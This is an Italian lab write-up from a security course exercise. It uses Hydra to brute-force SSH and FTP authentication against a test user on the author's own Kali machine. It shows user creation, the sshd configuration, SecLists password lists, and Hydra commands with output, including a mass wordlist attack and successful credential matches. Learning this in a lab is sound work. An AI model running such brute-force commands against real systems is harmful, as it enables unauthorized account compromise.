

ESERCIZIO W14D4

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione

L'esercizio si svilupperà in due fasi:

- Una prima fase dove si vedrà l'abilitazione di un servizio SSH e la relativa sessione di cracking dell'autenticazione con Hydra
- Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Creazione Test_user

Per cominciare creiamo un user al quale assegniamo una password.

```
(kali㉿kali)-[~]
$ sudo adduser test_user
[sudo] password for kali:
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: test
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
(kali㉿kali)-[~]
$
```

sudo test_add user

Controllo configurazioni

Controlliamo i settaggi inseriti nelle configurazioni. Possiamo cambiare porta, indirizzo e altre modalità.

```
GNU nano 7.2
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts
#HostbasedAuthentication no
```

Configurazione
ssh

Attivazione servizio e testing ssh

Come da titolo, dopo aver avviato il servizio ssh con *sudo service ssh start*, proviamo ad accedere all'utente test_user con le credenziali inserite prima.

```
(kali㉿kali)-[~]
$ ssh test_user@192.168.32.100
The authenticity of host '192.168.32.100 (192.168.32.100)' can't be established.
ED25519 key fingerprint is SHA256:UCEzAZPrG/npqnK+wwm89Y3YqaLxOvmEC/UfVKWSDLM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.32.100' (ED25519) to the list of known hosts.
test_user@192.168.32.100's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user㉿kali)-[~]
$
```

accesso ssh
test_user

Seclist installate

Nel caso vogliamo andare a testare password e username multiple, possiamo installare le seclists. Qui sotto mostro la presenza di quest'ultime nella macchina.

```
(test_user㉿kali)-[~]
$ ls /usr/share/seclists/Passwords/
2020-200_most_used_passwords.txt  Cracked-Hashes  dutch_passwordlist.txt  openwall.net-all.txt  scraped-JWT-secrets.txt  xato-net-10-million-passwords-100000.txt
500-worst-passwords.txt          darkc0de.txt    dutch_wordlist          Permutations          seasons.txt             xato-net-10-million-passwords-10000.txt
500-worst-passwords.txt.bz2      darkweb2017-top10000.txt  german_misc.txt        PHP-Magic-Hashes.txt  Software                xato-net-10-million-passwords-10000.txt
BiblePass                       darkweb2017-top1000.txt  HoneyPot-Captures      probable-v2-top12000.txt  stupid-ones-in-production.txt  xato-net-10-million-passwords-100.txt
bt4-password.txt                darkweb2017-top100.txt  Keyboard-Combinations.txt  probable-v2-top1575.txt  twitter-banned.txt         xato-net-10-million-passwords-10.txt
cirt-default-passwords.txt       darkweb2017-top10.txt   Leaked-Databases        probable-v2-top207.txt   unknown-azul.txt          xato-net-10-million-passwords-dup.txt
citrix.txt                      days.txt             Malware                  README.md               UserPassCombo-Jay.txt      xato-net-10-million-passwords.txt
clarkson-university-82.txt       Default-Credentials  months.txt               richelieu-french-top20000.txt  WiFi-WPA                 xato-net-10-million-passwords-1000000.txt
common_corporate_passwords.lst  der-postillon.txt     Most-Popular-Letter-Passes.txt  richelieu-french-top5000.txt  Wikipedia
Common-Credentials              dutch_common_wordlist.txt  mssql-passwords-nanshou-guardicore.txt  SCRABBLE-hackerhouse.tgz  xato-net-10-million-passwords-1000000.txt
```

Testing 10 millions

Per testare le liste inseriamo il loro percorso ed mettiamo i flag maiuscoli. Hydra controllerà gli username e le password fino a che non segnerà di verde un match, per confermare il successo della combinazione.

```
(kali@kali):~$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.32.100 -t4 ssh -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-10 06:08:58
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000000 login tries (l:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh://192.168.32.100:22/
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123456789" - 5 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "12345" - 6 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "1234" - 7 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "111111" - 8 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "1234567" - 9 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "dragon" - 10 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "123123" - 11 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "baseball" - 12 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "abc123" - 13 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "football" - 14 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "monkey" - 15 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "letmein" - 16 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "696969" - 17 of 8295455000000 [child 3] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "shadow" - 18 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "master" - 19 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.32.100 - login "info" - pass "666666" - 20 of 8295455000000 [child 1] (0/0)
```

hydra testing con -V

Testing singolo

Se invece vogliamo trovare una password o degli username specifici, lasciamo le lettere minuscole e indichiamo le credenziali.

```
(kali@kali):~$ hydra -l test_user -p testpass 192.168.32.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-10 10:48:06
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.32.100:22/
[22][ssh] host: 192.168.32.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-10 10:48:17
```

Password trovata esempio

Installazione servizio vsftpd

L'ultima parte della consegna prevede il cracking di un servizio ftp. Installo dunque i pacchetti sulla macchina.

Testing ftp password

Per fare prima, indichiamo come sempre l'utente test_user e la password.

```
(kali@kali)-[/etc]
└─$ hydra -l test_user -p testpass 192.168.32.100 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-10 12:21:04
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://192.168.32.100:21/
[21][ftp] host: 192.168.32.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-10 12:21:05
```

password
ftp trovata